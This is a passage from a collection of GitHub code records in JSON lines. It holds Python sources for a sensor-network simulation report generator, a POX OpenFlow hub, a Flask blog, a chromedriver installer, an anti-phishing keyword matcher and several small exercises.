Property Data Type\n :type property_data_type: int\n :return: None\n \"\"\"\n messages = self.__parse_set_message(\n destination_id,\n property_type,\n property_values,\n property_data_type\n )\n\n for message in messages:\n self._conn.send(message)\n time.sleep(0.01)\n\n @staticmethod\n def _validate_property(nb_values: int, value_range: Tuple = None):\n def check_value(setter):\n def set_property(self, value):\n if nb_values > 1 and isinstance(value, int):\n raise ValueError(f\"{setter.__name__} needs {nb_values} \"\n f\"values\")\n elif value_range and nb_values == 1 and not (\n value_range[1] >= value >= value_range[0]):\n raise ValueError(f\"{setter.__name__} should be in range \"\n f\"{value_range[0]}~{value_range[1]}\")\n elif value_range and nb_values > 1:\n for val in value:\n if not (value_range[1] >= val >= value_range[0]):\n raise ValueError(f\"{setter.__name__} \"\n f\"should be in range\"\n f\" {value_range[0]}~\"\n f\"{value_range[1]}\")\n setter(self, value)\n\n return set_property\n return check_value\n","repo_name":"LUXROBO/pymodi","sub_path":"modi/module/output_module/output_module.py","file_name":"output_module.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"50"} +{"seq_id":"2163678471","text":"#!/usr/bin/env python3 \n\n\"\"\" \nReport class is part of a dissertation work about WSNs \n\"\"\"\n__author__ = \"Bruno Chianca Ferreira\"\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Bruno Chianca Ferreira\"\n__email__ = \"brunobcf@gmail.com\"\n\n# TODO #\n# Remove / from the end of indir\n\n\nimport os, math, struct, sys, json, traceback, time, argparse, statistics\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass Report ():\n\n def __init__ (self,folder=''):\n print(\"Preparing report on folder: \" + folder)\n self.folder = folder\n self.t = 30 # time between messages\n self.tmax = 0\n self.qos_collapse = 50 #% of loss messages when we consider that the qos collapsed\n try:\n self.node_averages()\n pass\n except:\n traceback.print_exc()\n sys.exit()\n try:\n self.net_long()\n pass\n except:\n traceback.print_exc()\n try:\n self.sink_stats()\n pass\n except:\n traceback.print_exc()\n try:\n self.nodes_plot()\n pass\n except:\n traceback.print_exc()\n try:\n self.net_long_plot()\n pass\n except:\n traceback.print_exc()\n try:\n self.final()\n pass\n except:\n traceback.print_exc() \n try:\n self.node_stats()\n pass\n except:\n traceback.print_exc()\n \n def node_averages(self):\n nodes_reports = []\n nodes_data = []\n battery_data = []\n node_report_file = open(self.folder+\"/nodes_report\"+\".csv\",\"w\")\n config_report_file = open(self.folder+\"/nodes_config\"+\".txt\",\"w\")\n print(\"Preparing node averages report on folder: \" + self.folder)\n for (dirpath, dirnames, filenames) in os.walk(self.folder):\n nodes_reports.extend(filenames)\n break\n for node in nodes_reports:\n node_data=node.split(\"_\")\n if node_data[0] == \"sim\":\n nodes_data.append(node_data)\n #print(nodes_data[0])\n #print(len(nodes_data))\n self.topo = nodes_data[0][6]\n #self.t = int(nodes_data[0][4])\n config_report_file.write(\"Number of nodes\"+\":\"+str(len(nodes_data))+\"\\n\")\n config_report_file.write(\"Topology used\"+\":\"+nodes_data[0][6]+\"\\n\")\n config_report_file.write(\"Sleep time\"+\":\"+str(nodes_data[0][4])+\"\\n\")\n config_report_file.write(\"Energy model\"+\":\"+nodes_data[0][5]+\"\\n\")\n config_report_file.write(\"Protocol\"+\":\"+nodes_data[0][7]+\"\\n\")\n config_report_file.write(\"Simulation date\"+\":\"+nodes_data[0][8].split(\".\")[0]+\"\\n\")\n config_report_file.close()\n logfiles = []\n logfile = []\n for node in nodes_reports:\n node_data=node.split(\"_\")\n if node_data[0] == \"sim\":\n print(\"Reading \" + node)\n logfile = open(self.folder + \"/\"+ node).readlines()\n logfiles.append(logfile)\n logfiles[len(logfiles)-1][1] = node_data[2]\n #node_report_file.write(\"\\n\")\n node_report_file.write(\"Node\"+\";\"+\"Comutations\"+\";\"+logfile[0])\n for log in logfiles:\n node_battery = {}\n node_battery[log[1]] = []\n old_mode = \"\"\n new_mode = \"\"\n mode_counter = 0\n for i in range(2,len(log)):\n line_split=log[i].split(\";\")\n #print(line_split)\n new_mode = line_split[3]\n if (new_mode != old_mode):\n #print (\"aqui: \"+new_mode+\" \"+old_mode )\n mode_counter+=1\n old_mode = new_mode\n node_battery[log[1]].append([line_split[0], line_split[1]])\n node_report_file.write(log[1] + \";\" + str(mode_counter) +\";\" + log[len(log)-1])\n #print((log[len(log)-1].split(\";\")[5]))\n battery_data.append(node_battery)\n try:\n self.tmax = float(log[len(log)-1].split(\";\")[5])\n except:\n self.tmax = 60\n node_report_file.close()\n print(\"TMAX= \"+str(self.tmax))\n battery_data_lines = []\n time_line = ['Time']\n for node in battery_data:\n node_line = []\n for node_name, energy in node.items():\n if node_name == 'mote0':\n for data in energy:\n time_line.append(data[0])\n node_line.append(node_name)\n for data in energy:\n node_line.append(data[1])\n battery_data_lines.append(node_line)\n for node in battery_data_lines:\n pass\n #print(len(node))\n battery_data_lines.append(time_line)\n transposta = [[battery_data_lines[j][i] for j in range(len(battery_data_lines))] for i in range(len(battery_data_lines[0]))] \n battery_report_file = open(self.folder+\"/battery_report\"+\".csv\",\"w\")\n for line in transposta:\n for item in line:\n battery_report_file.write(item+\";\")\n battery_report_file.write(\"\\n\")\n battery_report_file.close()\n\n plt.style.use('ggplot')\n plt.title('Battery Level Decay')\n plt.ylabel('Battery Level (%)')\n plt.xlabel('Time(s)')\n\n battery_data_lines[len(battery_data_lines)-1].pop(0)\n time = list(map (int, battery_data_lines[len(battery_data_lines)-1]))\n #print (time)\n for i in range(0,len(battery_data_lines)-1):\n if i != len(battery_data_lines)-1:\n battery_data_lines[i].pop(0)\n results = list(map(float, battery_data_lines[i]))\n #print(battery_data_lines[len(battery_data_lines)-1])\n plt.plot(time,results, label = 'Received')\n\n\n plt.tight_layout()\n #plt.legend()\n plt.savefig(self.folder+'/nodes_battery.png')\n plt.close()\n \n\n def sink_stats(self):\n mess_reports = []\n motes = {}\n sinks = {}\n repeated = []\n max_hops = []\n min_hops = []\n latency = []\n final_report = []\n sink_messages = []\n sink_report_file = open(self.folder+\"/sink_report\"+\".csv\",\"w\")\n print(\"Preparing node stats report on folder: \" + self.folder)\n for (dirpath, dirnames, filenames) in os.walk(self.folder+\"/message_dumps\"):\n mess_reports.extend(filenames)\n break\n for node in mess_reports:\n node_data=node.split(\"_\")\n if (node_data[3]==\"sink\"):\n sinks[node_data[2]]=node\n #print(sinks)\n print(\"Reading delivered messages from \" + str(len(sinks)) + \" sinks\")\n for sink, sink_report in sinks.items():\n sinkfile = open(self.folder+\"/message_dumps/\"+sink_report).readlines()\n for sink_mess in sinkfile:\n #print(sink_mess[0])\n sink_messages.append(sink_mess.split(\";\"))\n print (str(len(sink_messages)) + \" Messages were delivered\")\n for i in range(1,len(sink_messages)):\n repeated.append(int(sink_messages[i][4])-1)\n max_hops.append(int(sink_messages[i][5]))\n min_hops.append(int(sink_messages[i][6]))\n latency.append(int(sink_messages[i][3])-int(sink_messages[i][2]))\n if len(final_report) > 0: \n for element in range(len(final_report)): #check if it's a new node\n #print(final_report[element][0])\n if final_report[element][0] == sink_messages[i][1]: #we already have that one\n if int(sink_messages[i][5]) > final_report[element][1]:\n final_report[element][1] = int(sink_messages[i][5])\n elif int(sink_messages[i][6]) < final_report[element][2]:\n final_report[element][2] = int(sink_messages[i][6])\n not_there = False\n final_report[element][3] += 1\n break\n else:\n #final_report.append([sink_messages[i][2],int(sink_messages[i][5]),int(sink_messages[i][6])])\n not_there = True\n else:\n not_there = True\n #final_report.append([sink_messages[i][2],int(sink_messages[i][5]),int(sink_messages[i][6])])\n if not_there:\n final_report.append([sink_messages[i][1],int(sink_messages[i][5]),int(sink_messages[i][6]),0])\n sink_report_file.write(\"Value\"+\";\"+\"Median\"+\";\"+\"Mean\"+\";\"+\"Std dev\"+\";\"+\"\\n\")\n sink_report_file.write(\"Repeated messages\"+\";\"+str(statistics.median(repeated))+\";\"+str(statistics.mean(repeated))+\";\"+str(statistics.stdev(repeated))+\"\\n\")\n sink_report_file.write(\"Max hops\"+\";\"+str(statistics.median(max_hops))+\";\"+str(statistics.mean(max_hops))+\";\"+str(statistics.stdev(max_hops))+\"\\n\")\n sink_report_file.write(\"Min hops\"+\";\"+str(statistics.median(min_hops))+\";\"+str(statistics.mean(min_hops))+\";\"+str(statistics.stdev(min_hops))+\"\\n\")\n sink_report_file.write(\"Latency\"+\";\"+str(statistics.median(latency))+\";\"+str(statistics.mean(latency))+\";\"+str(statistics.stdev(latency))+\"\\n\")\n sink_report_file.write(\"Eficiency\"+\";\"+str(self.eficiency * 100)+\"\\n\")\n sink_report_file.write(\"Total created\"+\";\"+str(self.total_sent)+\"\\n\")\n sink_report_file.write(\"Total delivered\"+\";\"+str(self.total_sink)+\"\\n\") \n print(\"Median repeated: \" + str(statistics.median(repeated)) + \" Std dev: \" + str(statistics.stdev(repeated)))\n print(\"Median max_hops: \" + str(statistics.median(max_hops)) + \" Std dev: \" + str(statistics.stdev(max_hops)))\n print(\"Median min_hops: \" + str(statistics.median(min_hops)) + \" Std dev: \" + str(statistics.stdev(min_hops)))\n #print(final_report)\n sink_report_file.write(\"\\n\")\n sink_report_file.write(\"Node\"+\";\"+\"Max_Hops\"+\";\"+\"Min_hops\"+\"\\n\")\n for i in range(len(final_report)): #check if it's a new node\n sink_report_file.write(final_report[i][0]+\";\"+str(final_report[i][1])+\";\"+str(final_report[i][2])+\";\"+str(final_report[i][3])+\"\\n\")\n sink_report_file.close()\n\n def node_stats(self):\n mess_reports = []\n got = False\n motes = {}\n motes_sender = {}\n sinks = {}\n node_final_report = {}\n final_report = []\n node_messages_sent = []\n node_messages_received = []\n total_received_mess = {}\n print(\"Preparing node stats report on folder: \" + self.folder)\n for (dirpath, dirnames, filenames) in os.walk(self.folder+\"/message_dumps\"):\n mess_reports.extend(filenames)\n break\n for node in mess_reports:\n node_data=node.split(\"_\")\n if (node_data[0]==\"node\"):\n motes[node_data[3]]=node\n if (node_data[3]==\"mote\"):\n motes_sender[node_data[2]]=node\n elif (node_data[3]==\"sink\"):\n sinks[node_data[2]]=node\n #print(motes_sender)\n print(\"Reading delivered messages at \" + str(len(motes)) + \" nodes\")\n for node_receiver, node_dump_report in motes.items():\n node_report = open(self.folder+\"/message_dumps/\"+node_dump_report).readlines()\n total_received_mess[node_receiver] = node_report\n #loop all senders\n for node_sender, node_sender_report in motes_sender.items():\n node_sent = open(self.folder+\"/message_dumps/\"+node_sender_report).readlines()\n #record all sent messages for that sender\n for message_sent in node_sent:\n node_messages_sent.append(message_sent.split(\";\"))\n #loop all receivers\n for node_receiver, messages_received in total_received_mess.items():\n #record all received for that receiver\n for message_received in messages_received:\n node_messages_received.append(message_received.split(\";\"))\n #for the current sender, loop all sent messages\n for i in range(1,len(node_messages_sent)):\n #print(node_messages_sent[i])\n #for current receiver loop received messsages\n for j in range(1,len(node_messages_received)):\n #has the current receiver got the sent message?\n if (node_messages_sent[i][0] == node_messages_received[j][0]):\n got = True\n if got == True:\n if (len(node_messages_sent[i])==3):\n node_messages_sent[i][2] += 1\n else:\n node_messages_sent[i].append(1)\n got = False\n #print(node_messages_sent)\n node_messages_received = []\n for msg in node_messages_sent:\n #print(msg)\n try:\n final_report.append(msg[2])\n except:\n final_report.append(0)\n delivery = statistics.mean(final_report)\n node_final_report[node_sender] = delivery\n final_report = []\n node_messages_sent = []\n node_report_file = open(self.folder+\"/nodes_delivery_report\"+\".csv\",\"w\")\n for node, distribution in node_final_report.items():\n node_report_file.write(node+\";\"+str(distribution)+ \";\" + str( (distribution/(len(motes)-1)) * 100) +\"\\n\") \n #print(node_final_report)\n node_report_file.close()\n\n def net_long(self):\n mess_reports = []\n motes = {}\n sinks = {}\n total_sent = 0\n print(\"Preparing net longevity report on folder: \" + self.folder)\n for (dirpath, dirnames, filenames) in os.walk(self.folder+\"/message_dumps\"):\n mess_reports.extend(filenames)\n break\n #print(mess_reports)\n for node in mess_reports:\n node_data=node.split(\"_\")\n #print(node_data)\n if (node_data[3]==\"mote\"):\n motes[node_data[2]]=node\n elif (node_data[3]==\"sink\"):\n sinks[node_data[2]]=node\n #print(sinks)\n final_report = []\n sink_messages = []\n print(\"Reading delivered messages from \" + str(len(sinks)) + \" sinks\")\n for sink, sink_report in sinks.items():\n sinkfile = open(self.folder+\"/message_dumps/\"+sink_report).readlines()\n for sink_mess in sinkfile:\n sink_messages.append(sink_mess.split(\";\")[0])\n #sink_messages.append(sink_mess[0])\n print (str(len(sink_messages)) + \" Messages were delivered\")\n #sys.exit() \n for mote, report in motes.items():\n print(\"Reading \" + report)\n logfile = open(self.folder+\"/message_dumps/\"+report).readlines()\n messages_sent = []\n for i in range(1,len(logfile)):\n messages_sent.append(logfile[i].split(\";\"))\n #print(len(messages_sent))\n total_sent += len(messages_sent)\n print(\"Read \" + str(len(messages_sent)) + \" messages\")\n print(\"First pass....counting messages sent at each timestamp\")\n #print(messages_sent[0])\n #break\n #first pass\n for item in range(0,len(messages_sent)):\n if len(final_report) > 0:\n for element in range(0,len(final_report)): #check if it's a new timestamp\n try:\n if final_report[element][0] == math.floor(int(messages_sent[item][1])/self.t)*self.t: #we already this timestamp\n #print(\"Aqui!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n final_report[element][1] += 1 #increment counter\n not_added = False\n break\n else: #new message\n not_added = True\n except:\n print(messages_sent[item])\n else: #fresh list, add directly\n not_added = True\n if not_added:\n #print(item)\n #print(int(messages_sent[item][1]))\n final_report.append([math.floor(int(messages_sent[item][1])/self.t)*self.t,1,0])\n #second pass\n print(\"Second pass....counting messages received at each timestamp\")\n for item in range(0,len(messages_sent)): #loop sent messages\n for delv_mess in range(0,len(sink_messages)): #loop delivered messages\n if messages_sent[item][0] == sink_messages[delv_mess]: #if message was delivered\n for j in range(0,len(final_report)): #loop final report\n if final_report[j][0] == math.floor(int(messages_sent[item][1])/self.t)*self.t: #find time self.t to increment\n final_report[j][2] += 1\n #print(final_report.index(int(messages_sent[item][1])))\n #sys.exit()\n self.eficiency = len(sink_messages) / total_sent\n self.total_sent = total_sent\n self.total_sink = len(sink_messages)\n final_report_file = open(self.folder+\"/net_longevity_report\"+\".csv\",\"w\")\n for line in final_report:\n final_report_file.write(str(line[0])+\";\"+str(line[1])+\";\"+str(line[2])+\"\\n\")\n final_report_file.close()\n #sys.exit()\n\n def nodes_plot(self):\n input_file_nodes = open(self.folder+\"/nodes_report.csv\",\"r\").readlines()\n nodes = []\n simul_total_time = []\n commutations = []\n comm_energy = []\n comp_energy = []\n sensor_energy = []\n sleep_energy = []\n\n for line in input_file_nodes:\n line = line.split(\";\")\n if (line[5] == 'GOSSIP'):\n self.nodemode = line[5]\n elif (line[5] == 'MCFA'):\n self.nodemode = line[5]\n elif (line[5] == 'GOSSIPFO'):\n self.nodemode = line[5]\n else:\n self.nodemode = 'EAGP'\n if (line[0] != 'Node') and (int(line[9]) > 0):\n #print(line[0] + ' ' +line[0][4:])\n nodes.append(int(line[0][4:]))\n simul_total_time.append(int(line[2]))\n commutations.append(int(line[1]))\n comm_energy.append(float(line[13]))\n comp_energy.append(float(line[14]))\n sleep_energy.append(float(line[15]))\n sensor_energy.append(float(line[16]))\n\n plt.style.use('ggplot')\n if self.nodemode == 'EAGP':\n plt.title('Nodes Longevity\\nTopology='+self.topo+' t='+str(self.t)+'s'+' TMAX= '+str(self.tmax/1000) + 's')\n else:\n plt.title('Nodes Longevity\\nTopology='+self.topo+' t='+str(self.t)+'s')\n plt.xlabel('Node id')\n plt.ylabel('Time(s)')\n\n plt.bar(nodes, simul_total_time, 0.35, label = 'Simulation time')\n\n plt.tight_layout()\n plt.savefig(self.folder+'/nodes_longevity.png')\n plt.close()\n\n plt.style.use('ggplot')\n if self.nodemode == 'EAGP':\n plt.title('Nodes Energy\\nTopology='+self.topo+' t='+str(self.t)+'s'+' TMAX= '+str(self.tmax/1000) + 's')\n else:\n plt.title('Nodes Energy\\nTopology='+self.topo+' t='+str(self.t)+'s')\n plt.xlabel('Node id')\n plt.ylabel('Energy (J)')\n\n plt.bar(nodes, comm_energy, 0.35, label = 'Comp. Energy')\n plt.bar(nodes, comp_energy, 0.35, bottom=comm_energy, label = 'Comm. Energy')\n #plt.bar(nodes, sensor_energy, 0.35, bottom=comm_energy, label = 'Sensor Energy')\n #plt.bar(nodes, sleep_energy, 0.35, bottom=sensor_energy, label = 'Sleep Energy')\n\n #ax2 = plt.twinx()\n #color = 'tab:blue'\n #ax2.set_ylabel('sin', color=color)\n #ax2.scatter(nodes, simul_total_time, color=color)\n #ax2.tick_params(axis='y', labelcolor=color)\n\n plt.tight_layout()\n plt.legend()\n plt.xticks(np.arange(0, len(nodes)+1, 2))\n plt.savefig(self.folder+'/nodes_energy.png')\n plt.close()\n\n def final(self):\n final_report = []\n sink_report = []\n energy = 0.0\n sink_report_file = open(self.folder+\"/sink_report\"+\".csv\").readlines()\n node_report_file = open(self.folder+\"/nodes_report\"+\".csv\").readlines()\n final_report_file = open(self.folder+\"/final_report\"+\".csv\",\"w\")\n for line in sink_report_file:\n data = line.split(\";\")\n sink_report.append(data)\n for node in range(1,len(node_report_file)):\n data = node_report_file[node].split(\";\")\n if int(data[9]) > 0:\n energy += float(data[13]) + float(data[14])\n final_report.append([\"COMM/COMP (J)\",energy,\"\\n\"])\n final_report.append([\"# of repeated packets\",sink_report[1][2],\"\\n\"])\n final_report.append([\"Avg. Max hops\",sink_report[2][2],\"\\n\"])\n final_report.append([\"Avg. Min hops\",sink_report[3][2],\"\\n\"])\n final_report.append([\"Latency (s)\",sink_report[4][2],\"\\n\"])\n final_report.append([\"Delivery Efficiency %\",sink_report[5][1],\"\"])\n final_report.append([\"Total packet created\",sink_report[6][1],\"\"])\n final_report.append([\"Total packet delivered\",sink_report[7][1],\"\"])\n #print(final_report)\n for line in final_report:\n final_report_file.write(str(line[0]) + \";\" + str(line[1])+ str(line[2]))\n final_report_file.close()\n\n def movingaverage(self,interval, window_size):\n window = np.ones(int(window_size))/float(window_size)\n return np.convolve(interval, window, 'same')\n\n def net_long_plot(self):\n time = []\n sent = []\n received = []\n death_time = 0\n\n input_file = open(self.folder+\"/net_longevity_report.csv\",\"r\").readlines()\n\n for line in input_file:\n line = line.split(\";\")\n time.append(int(line[0]))\n sent.append(int(line[1]))\n received.append(int(line[2]))\n\n time, sent, received = (list(t) for t in zip(*sorted(zip(time, sent, received))))\n\n for i in range(int(len(received)/2), len(received)): #skip first half os simulation\n qos = (received[i] / sent [i])*100\n if qos < self.qos_collapse:\n death_time = i\n break\n\n death_time = len(received)\n cx = time[death_time-1]\n cy = received[death_time-1]\n print('The last received message was created at:' + str(cx))\n\n #print(\"Time: \" + str(time[i]) + \" got: \" + str(received[i]))\n #print(plt.style.available)\n #plt.style.use('seaborn-deep')\n plt.style.use('ggplot')\n if self.nodemode == 'EAGP':\n plt.title('Network Longevity\\nTopology='+self.topo+' TMAX= '+str(self.tmax/1000) + 's')\n else:\n plt.title('Network Longevity\\nTopology='+self.topo)\n plt.xlabel('Time(s)')\n plt.ylabel('Number of Messages')\n\n #trend = np.polyfit(time, sent, 4)\n ma_sent= self.movingaverage(sent,4)\n ma_recv= self.movingaverage(received,4)\n #p = np.poly1d(trend)\n\n plt.scatter(time,sent, s=1)\n plt.scatter(time,received, s=1.5)\n plt.plot(time,ma_sent, label = 'Sent')\n plt.plot(time,ma_recv, label = 'Received')\n\n #plt.annotate('Collapsed in \\nt= ' + str(time[death_time-1]) + ' s', xy = (cx,cy), ha=\"right\", xytext=(cx-10000, max(received)/2), arrowprops=dict(facecolor='black', shrink=0.05),bbox=dict(boxstyle=\"round4\", fc=\"w\"))\n\n #plt.xticks(np.arange(min(time), max(time)+1, max(time)/10))\n #plt.xticks(np.arange(0, 7000, 500))\n plt.xticks(np.arange(0, 11000, 1000))\n plt.legend()\n\n plt.tight_layout()\n plt.savefig(self.folder+'/net_longevity.png')\n plt.close()\n\n #plt.plot(time,sent, '^b-' ,linewidth = 1 ,label = 'Sent')\n #plt.plot(time,received, color='#5a7d9a', linestyle='-', marker='.', linewidth = 3 ,label = 'Received')\n #plt.grid(True)\n #print(time)\n #plt.imshow(a, cmap='hot', interpolation='nearest')\n #plt.show()\n\nif __name__ == '__main__': #for main run the main function. This is only run when this main python file is called, not when imported as a class\n print(\"Ourocrunch - Report generator for Ouroboros\")\n print()\n folders = []\n sorted_folders = []\n parser = argparse.ArgumentParser(description='Options as below')\n parser.add_argument('indir', type=str, help='Input dir where reports are located')\n parser.add_argument('-t','--type', type=str, help='type of report', default=\"long\", choices=['long', 'implosion'])\n parser.add_argument('-a','--all', help='process all report folders', dest='all', action='store_true')\n parser.add_argument('-l','--last', help='process last report folder', dest='last', action='store_true')\n parser.add_argument('-d','--date', help='date/time to be processed', dest='date', type=str, default=False)\n arguments = parser.parse_args()\n\n for (dirpath, dirnames, filenames) in os.walk(arguments.indir):\n folders.extend(dirnames)\n break\n\n for folder in folders:\n if folder!='EAGP' and folder!='GOSSIP' and folder!='MCFA':\n sorted_folders.append(folder)\n sorted_folders = sorted(sorted_folders)\n\n if (arguments.last == True):\n folder = arguments.indir+'/'+sorted_folders[len(sorted_folders)-1]\n report = Report(folder)\n #print(path+'/'+folders[len(folders)-1])\n elif (arguments.all == True):\n for simulation in sorted_folders:\n folder = arguments.indir+'/'+simulation\n #print(folder)\n if simulation!='EAGP' or simulation!='GOSSIP' or simulation!='MCFA':\n report = Report(folder)\n pass\n elif (arguments.date != False):\n for simulation in sorted_folders:\n if (simulation == arguments.date):\n folder = arguments.indir+'/'+simulation\n #print(path+'/'+simulation)\n report = Report(folder)\n sys.exit()\n","repo_name":"brunobcfum/pyeagp","sub_path":"aux/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":26458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"73451519835","text":"from antiphishme.src.models.goodies_model import Goodies\n\ndef match_keyword(domain):\n good_keywords = [k['good_keyword'] for k in Goodies.get_all_goodies()]\n domain_phrases = domain.split('.')\n for phrase in domain_phrases:\n for keyword in good_keywords:\n if keyword in phrase:\n return True, keyword\n return False, None","repo_name":"TheArqsz/AntiPhishMe-backend","sub_path":"antiphishme/src/api_modules/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"22852145670","text":"import os\r\nimport chromedriver_autoinstaller\r\nimport platform\r\nimport subprocess\r\n\r\n\r\nchrome_ver = chromedriver_autoinstaller.get_chrome_version().split('.')[0]\r\ndriver_path = f'./{chrome_ver}/chromedriver.exe'\r\n\r\n\r\ndef requirementsinstall():\r\n # Download the required packages\r\n if platform.system() == \"Windows\":\r\n subprocess.check_call([\"pip\", \"install\", \"-r\", \"requirements.txt\"], shell=True)\r\n else:\r\n subprocess.check_call(['sudo', \"pip\", \"install\", \"-r\", \"requirements.txt\"])\r\n\r\ndef webdriverinstall():\r\n # Check if chrome driver is installed or not\r\n if os.path.exists(driver_path):\r\n print(f\"chrome driver is insatlled: {driver_path}\")\r\n else:\r\n print(f\"install the chrome driver(ver: {chrome_ver})\")\r\n chromedriver_autoinstaller.install(True)","repo_name":"o-zonc/Python","sub_path":"Asterisk/webdriverinstaller.py","file_name":"webdriverinstaller.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"988110929","text":"from pox.core import core\nimport pox.openflow.libopenflow_01 as of\nfrom pox.lib.util import dpidToStr\n\nlog = core.getLogger()\n\n\ndef _handle_ConnectionUp (event):\n msg = of.ofp_flow_mod()\n msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD))\n event.connection.send(msg)\n log.info(\"Hubifying %s\", dpidToStr(event.dpid))\n\ndef launch ():\n core.openflow.addListenerByName(\"ConnectionUp\", _handle_ConnectionUp)\n\n log.info(\"Hub running.\")\n","repo_name":"CPqD/RouteFlow","sub_path":"pox/pox/forwarding/hub.py","file_name":"hub.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"50"} +{"seq_id":"2535436473","text":"import sqlite3\nfrom flask import Flask, render_template, request, url_for, flash, redirect\nfrom werkzeug.exceptions import abort\n\n#connect to created db and convert to dictionary rows and returned\ndef get_db_connection():\n conn=sqlite3.connect('database.db')\n conn.row_factory=sqlite3.Row\n return conn\n\n#receive an id parameter, call db, post new data. If no post, call 404 error and return post\ndef get_post(post_id):\n conn=get_db_connection()\n post=conn.execute('SELECT * FROM posts WHERE id=?',\n (post_id,)).fetchone()\n conn.close()\n if post is None:\n abort(404)\n return post\n\n#initiate app and create secret key\napp = Flask(__name__)\napp.secret_key= 'sdfasdf9sdf0sdf909f0d9fsdfs-098765456#@$@#$(@*dfsdfjsdhfksdfjsdkfew3412iiacuwer12endi12edbasd'\n\n# @app.route() is directing the view. call db, get all posts and return them.\n@app.route('/')\ndef index():\n conn = get_db_connection()\n posts = conn.execute('SELECT * FROM posts').fetchall()\n conn.close()\n return render_template('index.html', posts=posts)\n\n#view directs to about page. renders about page\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n#generates all posts on index page\n@app.route('/')\ndef post(post_id):\n post=get_post(post_id)\n return render_template('post.html', post=post)\n\n#viewer directs to create.html \n@app.route('/create', methods=('GET', 'POST'))\ndef create():\n if request.method == 'POST':\n title=request.form['title']\n content=request.form['content']\n\n if not title:\n flash('Title is Required!')\n else:\n conn = get_db_connection()\n conn.execute('INSERT INTO posts (title, content) VALUES (?, ?)',\n (title, content))\n conn.commit()\n conn.close()\n return redirect(url_for('index'))\n\n return render_template('create.html')\n\n@app.route('//edit', methods=('GET', 'POST'))\ndef edit(id):\n post = get_post(id)\n\n if request.method == 'POST':\n title = request.form['title']\n content = request.form['content']\n\n if not title:\n flash('Title is Required!')\n else:\n conn = get_db_connection()\n conn.execute('UPDATE posts SET title= ?, content = ?'\n ' WHERE id = ?',\n (title, content, id))\n conn.commit()\n conn.close()\n return redirect(url_for('index'))\n\n return render_template('edit.html', post=post)\n\n@app.route('//delete', methods=('POST',))\ndef delete(id):\n post = get_post(id)\n conn = get_db_connection()\n conn.execute('DELETE FROM posts WHERE id = ?', (id,))\n conn.commit()\n conn.close()\n flash('\"{}\" was successfully deleted'.format(post['title']))\n return redirect(url_for('index'))","repo_name":"Aravnedyah/flask_blog","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"15444883665","text":"n = 14\na = [12,-34,14,11,9,-8,15,11,-7,-56,17,16,19]\na = [0] + a\nL = [0] * n\nT = [0] * n\nT[0] = a[0]\ntmax = -9999999999999\ndmax = 0\ncsd = []\ncsc = []\nfor i in range(1,n):\n\tT[i] = T[i-1] + a[i]\nfor i in range(1,n):\n\tfor j in range(i,n):\n\t\tif T[j] - T[i-1] > tmax:\n\t\t\ttmax = T[j] - T[i-1]\n\t\t\tcsd = [i]\n\t\t\tcsc = [j]\n\t\telif T[j] - T[i-1] == tmax:\n\t\t\tcsd.append(i)\n\t\t\tcsc.append(j)\nprint(tmax,len(csd))\nfor i in range(len(csd)):\n\tfor j in range(csd[i],csc[i]+1):\n\t\tprint(a[j])\n\tprint('done')","repo_name":"memaybeokkk/baidtotruong","sub_path":"ontap/dayconlientiep/daycontmax.py","file_name":"daycontmax.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"5935620762","text":"# -*- coding: utf-8 -*-\nfrom app import config, api\nfrom flask import Flask, g, request\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom app.infrastructure import database\n\nweb_app = Flask(__name__)\nweb_app.config.from_object(config)\ndatabase.AppRepository.db = SQLAlchemy(web_app)\n\napi.create_api(web_app)\n\n\n@web_app.after_request\ndef add_cache_header(response):\n \"\"\"\n Add response headers for Cache Control\n \"\"\"\n response.headers['Cache-Control'] = \"no-cache, no-store, must-revalidate\"\n response.headers['Pragma'] = 'no-cache'\n response.headers['Expires'] = '0'\n return response\n\n","repo_name":"gguilhermepires/desafio_bravi_python","sub_path":"app/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31826927250","text":"def solve(houses, budget):\n\tnum_purchases = 0\n\thouses.sort()\n\tfor price in houses:\n\t\tif budget >= price:\n\t\t\tbudget -= price\n\t\t\tnum_purchases += 1\n\treturn num_purchases\n\ndef main():\n\ttcs = int(input())\n\tfor case in range(1, tcs + 1):\n\t\ttotal_houses, budget = map(int, input().split())\n\t\thouses = list(map(int, input().split(' ')))\n\t\tans = solve(houses, budget)\n\t\tprint(\"Case #{}: {}\".format(case, ans))\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"LatencyTDH/coding-competitions","sub_path":"kickstart2/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} 